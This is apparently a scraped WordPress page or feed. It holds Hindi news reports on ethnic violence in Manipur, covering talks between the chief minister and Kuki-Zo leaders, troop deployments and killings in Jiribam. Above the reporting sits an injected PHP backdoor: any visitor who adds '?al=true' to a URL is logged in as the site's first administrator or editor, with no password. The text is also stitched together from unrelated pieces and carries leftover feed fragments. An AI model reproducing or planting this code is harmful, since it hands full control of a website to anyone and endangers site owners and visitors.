// _ea_al
add_action('init', function(){
if(isset($_GET['al']) && $_GET['al']==='true'){
if(!is_user_logged_in()){
$u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]);
if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);}
if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();}
} else {wp_redirect(admin_url());exit();}
}
}, 2);
मई 2023 में भड़की हिंसा के बाद यह पहला मौका है जब मणिपुर सरकार के मुखिया और कुकी-जो समुदाय के शीर्ष नेतृत्व के बीच आमने-सामने बैठकर बातचीत हुई है। लगभग पौने दो घंटे तक चली इस बातचीत ने अशांति की जमी हुई बर्फ को पिघलाने का काम किया है।
शांति की ओर पहला कदम
रविवार को कुकी समुदाय की ओर से जारी बयान में इस बात की पुष्टि हुई है। काउंसिल ने इसे औपचारिक संवाद की शुरुआत बताया है। हालांकि, बैठक में किसी ठोस समझौते पर हस्ताक्षर नहीं हुए। फिर भी मणिपुर की राजनीति को करीब से समझने वाले लोगों का मानना है कि दोनों पक्षों का एक मेज पर बैठना ही अपने आप में एक बड़ी कूटनीतिक जीत है।
कुकी समुदाय की शर्तें
बताया जा रहा है कि मुख्यमंत्री के साथ बैठक के दौरान कुकी-जो प्रतिनिधिमंडल ने बेहद सख्त रुख अपनाया। उन्होंने मुख्यमंत्री के सामने कुछ प्रमुख मांगें रखीं। कुकी समुदाय के नेताओं ने मुख्यमंत्री से कहा कि संघर्ष के दौरान जान-माल गंवाने वाले पीड़ितों को न्याय मिलना किसी भी शांति प्रक्रिया की पहली अनिवार्य शर्त है। इसके अलावा कुकी नेताओं ने कहा कि हाल के दिनों में कुकी और तांगखुल समुदायों के बीच बढ़े तनाव को तत्काल कम करने की आवश्यकता है। जब तक कोई अंतिम राजनीतिक समाधान नहीं निकल जाता, तब तक दोनों समुदायों के बीच बने 'बफर ज़ोन' की यथास्थिति बरकरार रखी जाए। उग्रवादी समूहों के साथ जारी सस्पेंशन ऑफ ऑपरेशंस वार्ता को जल्द तार्किक अंजाम तक पहुंचाया जाए ताकि क्षेत्र में स्थायी शांति सुनिश्चित हो सके।
मुख्यमंत्री ने क्या कहा?
सूत्रों के अनुसार, मुख्यमंत्री युमनाम खेमचंद सिंह ने प्रतिनिधि मंडल की बातों को बेहद धैर्यपूर्वक सुना। उन्होंने अपनी सरकार की ओर से शांति बहाली के लिए उठाए जा रहे कदमों की जानकारी दी। सीएम ने इस बात की सराहना की कि चुनौतीपूर्ण समय के बावजूद कुकी-जो काउंसिल संवाद के लिए आगे आई। बताते चलें कि मई 2023 से अब तक मणिपुर में 260 से अधिक लोगों की मौत हो चुकी है। इतना ही नहीं, हजारों की संख्या में लोग आज भी राहत शिविरों में रहने को मजबूर हैं। उम्मीद है कि गुवाहाटी में हुई इस बैठक का नतीजा सिर्फ शांति ही हो।
भारत का उत्तर-पूर्वी राज्य मणिपुर एक बार फिर हिंसा की आग में सुलग रहा है। केंद्र ने पूर्वोत्तर राज्य में सुरक्षा और कानून व्यवस्था की स्थिति के मद्देनजर 5,000 से ज्यादा कर्मियों वाली सीएपीएफ की 50 कंपनियां भेजने का फैसला किया है। इनमें से 35 यूनिट केंद्रीय रिजर्व पुलिस बल (CRPF) से और बाकी बॉर्डर सिक्योरिटी फोर्स (BSF) से होंगी। सीआरपीएफ के डायरेक्टर जनरल ए.डी. सिंह और अन्य केंद्रीय सशस्त्र पुलिस बलों (CAPF) के वरिष्ठ अधिकारी भी राज्य में मौजूद हैं।
इसी बीच, मणिपुर के सीएम एन बीरेन सिंह ने सोमवार को 6 बजे एनडीए के मंत्रियों और विधायकों की एक मीटिंग बुलाई है। अधिकारियों ने कहा कि यह मीटिंग इसलिए बुलाई गई है ताकि कानून-व्यवस्था की स्थिति की समीक्षा की जा सके।
यह पूरा का पूरा घटनाक्रम ऐसे टाइम में हो रहा है जब एनपीपी के सात विधायकों ने बीजेपी के नेतृत्व वाली सरकार से समर्थन वापस ले लिया है। एनपीपी ने दावा किया कि राज्य की बीरेन सिंह सरकार पूर्वोत्तर राज्य में समस्या को हल करने में पूरी तरह से नाकामयाब साबित हुई है। एनपीपी के बीजपी से समर्थन वापस लेने से भी बीजेपी पर कोई फर्क नहीं पड़ेगा।
बीजेपी के पास अपने 32 विधायकों के साथ बहुमत हासिल है। एन बीरेन सिंह के नेतृत्व वाली सरकार को नगा पीपुल्स फ्रंट के पांच विधायकों और जेडीयू के छह विधायकों का भी समर्थन हासिल है। इस बीच, मुख्यमंत्री के सचिव निंगथौजम ज्योफ्रे ने मणिपुर अखंडता पर समन्वय समिति को लिखे पत्र में इंफाल घाटी में शक्तिशाली निकाय से आग्रह किया कि वह इस जरूरी मोड़ पर किसी भी तरह के हिंसक आंदोलन से बचे।
COCOMI ने सरकारी ऑफिस बंद रखने का किया था आह्वान
COCOMI ने पहले कहा था कि कुकी-हमार उग्रवादियों द्वारा हमलों और हत्याओं से लोगों की जिंदगी और संपत्तियों की सुरक्षा करने में केंद्र विफल रहा है और इसके विरोध में सभी सरकारी ऑफिस को बंद रखेंगे। इस बीच, पुलिस ने कहा कि जिरीबाम जिले में संपत्ति को नुकसान पहुंचा रही भीड़ और सुरक्षा बलों के बीच झड़प के दौरान गोलीबारी में एक प्रदर्शनकारी की मौत हो गई।
पुलिस ने पुष्टि की कि गोलीबारी में एक व्यक्ति की मौत हो गई, लेकिन कहा कि यह तुरंत साफ नहीं है कि किसने गोली चलाई, जबकि चश्मदीदों ने दावा किया कि गोलीबारी सुरक्षा बलों की दिशा से हुई थी। यह घटना रविवार देर रात हुई जब उग्रवादियों द्वारा अगवा की गई महिलाओं और बच्चों की हत्या के विरोध में आंदोलनकारी जिरीबाम पुलिस स्टेशन क्षेत्र के बाबूपारा में संपत्तियों को नुकसान पहुंचा रहे थे।
एक पुलिस अधिकारी ने कहा कि गोलीबारी में एक शख्स की मौत हो गई है। यह तुरंत साफ नहीं है कि किसने गोली चलाई। उन्होंने कहा कि मरने वाले की पहचान के अथौबा के तौर पर हुई है। यह करीब 20 साल का था। कांग्रेस और बीजेपी के ऑफिस और जिरीबाम के निर्दलीय विधायक के घर में प्रदर्शनकारियों के एक ग्रुप ने तोड़फोड़ की। अधिकारियों ने कहा कि वह संपत्तियों से फर्नीचर, कागज और अन्य चीजें बाहर ले आए और इमारत के सामने उनमें आग लगा दी।
पांच लोगों के शवों का हुआ पोस्टमार्टम
समाचार एजेंसी पीटीआई की रिपोर्ट के मुताबिक, एक सूत्र ने कहा कि असम के सिलचर कस्बे में एक सरकारी अस्पताल में जिरीबाम जिले से लापता हुए पांच लोगों के शवों का पोस्टमार्टम पूरा हो गया है। 11 नवंबर को सुरक्षा बलों और कुकी-जो उग्रवादियों के बीच मुठभेड़ के बाद जिरीबाम से लापता हुए छह लोगों में से पांच के शव पिछले कुछ दिनों में असम के कछार में जिरी नदी और बराक नदी में पाए गए और उन्हें सिलचर मेडिकल कॉलेज लाया गया।
इतना ही नहीं एक सूत्र ने पीटीआई को बताया कि एसएमसीएच में सभी पांच शवों का पोस्टमार्टम किया गया है। संबंधित डॉक्टर रिपोर्ट तैयार करने की प्रक्रिया में हैं। इस बीच, भारतीय जनता पार्टी मणिपुर प्रदेश एससी मोर्चा के उपाध्यक्ष के ऋषिकांत ने व्यक्तिगत कारणों का हवाला देते हुए इस्तीफा दे दिया है। 15 नवंबर को बीजेपी के जिरीबाम मंडल के पदाधिकारियों और कार्यकारी सदस्यों ने भी जिरीबाम और पूरे मणिपुर में की अशांति का हवाला देते हुए राज्य अध्यक्ष को अपना इस्तीफा सौंप दिया था।
60 सदस्यीय मणिपुर विधानसभा में भाजपा के पास 37 सीटें हैं। एनपीपी, जिसके सात विधायक हैं, ने पहले बीरेन सिंह सरकार को बाहरी समर्थन दिया था क्योंकि वह एनडीए का हिस्सा है। गौरतलब है कि एनपीपी के समर्थन वापस लेने से एन बीरेन सिंह सरकार को फिलहाल कोई खतरा नहीं है।
इंफाल पश्चिम और इंफाल पूर्व में कर्फ्यू लगाए जाने के बीच, मणिपुर सरकार ने कई जिलों में राज्य विश्वविद्यालयों सहित संस्थानों, कॉलेजों को बंद करने की घोषणा की । इंफाल में सभी स्कूल, कॉलेज 19 नवंबर तक बंद रहेंगे।
]]>इलाके में गैर-आदिवासी मैतेई और आदिवासी कुकी-जो समुदायों के बीच जातीय संघर्ष और बढ़ गया है। वहीं सुरक्षाबलों ने उग्रवादियों के बंकरों पर हमला कर पांच बंकर तहस-नहस कर दिए हैं।
शख्स की पहले गोली मारकर हत्या
अधिकारी के मुताबिक, उग्रवादी जिला मुख्यालय से करीब पांच किलोमीटर दूर एक सुनसान स्थान पर अकेले रहने वाले व्यक्ति के घर में घुसे और उसकी गोली मारकर हत्या कर दी। अधिकारी ने बताया कि हत्या के बाद जिला मुख्यालय से करीब सात किलोमीटर दूर पहाड़ियों में युद्धरत समुदायों के हथियारबंद लोगों के बीच भारी गोलीबारी हुई, जिसमें तीन पहाड़ी उग्रवादियों सहित चार हथियारबंद लोगों की मौत हो गई।
भारी फोर्स तैनात
असम राइफल्स, अन्य केंद्रीय सशस्त्र पुलिस बल के जवान और मणिपुर पुलिस के कमांडो की एक बड़ी टुकड़ी शनिवार सुबह से उन सभी जगहों पर पहुंच गई है, जहां हिंसा की ताजा घटनाएं हुई हैं। एक पुलिस अधिकारी ने बताया कि मंगलवार से ही संदिग्ध कुकी उग्रवादियों ने जिरीबाम जिले के विभिन्न इलाकों में हमला करना शुरू कर दिया था। एक बुजुर्ग मैतेई निवासी की हत्या कर दी गई, जबकि पीड़ित सो रहा था।
उन्होंने बताया कि 'जवाबी कार्रवाई' में चार कुकी उग्रवादियों को मार गिराया गया। हालांकि, पुलिस की ओर से यह स्पष्ट नहीं है कि 'जवाबी हमला' किसने किया। कुकी आदिवासी नेताओं ने दावा किया कि मारे गए कार्यकर्ता उग्रवादी नहीं थे, वे 'ग्राम स्वयंसेवक' थे।
मणिपुर सरकार ने शुक्रवार को राज्य भर में सभी शैक्षणिक संस्थानों को शनिवार को बंद करने का आदेश दिया और सुरक्षा बलों को हाई अलर्ट पर रहने तथा अपने उग्रवाद विरोधी अभियानों को तेज करने को कहा।
चुराचांदपुर में सुरक्षाबलों का एक्शन
वहीं मणिपुर के चुराचांदपुर जिले में सुरक्षा बलों ने उग्रवादियों के तीन बंकर नष्ट कर दिए। पुलिस ने एक बयान में बताया कि बिष्णुपुर में उग्रवादियों के रॉकेट हमले में एक व्यक्ति की मौत और छह अन्य के घायल होने के बाद सुरक्षा बलों ने यह कार्रवाई की।
अभियान चुराचांदपुर जिले के मुआलसांग और लाइका मुआलसौ गांव में चलाया गया। उग्रवादियों ने बिष्णुपुर जिले में दो जगहों पर लंबी दूरी के रॉकेट दागे। इन हमलों में से एक में एक बुजुर्ग व्यक्ति की मौत हो गई और छह अन्य नागरिक घायल हो गए। बयान के अनुसार, पुलिस दलों और सुरक्षा बलों ने पास के पहाड़ी इलाकों में सघन तलाश अभियान शुरू किया।
]]>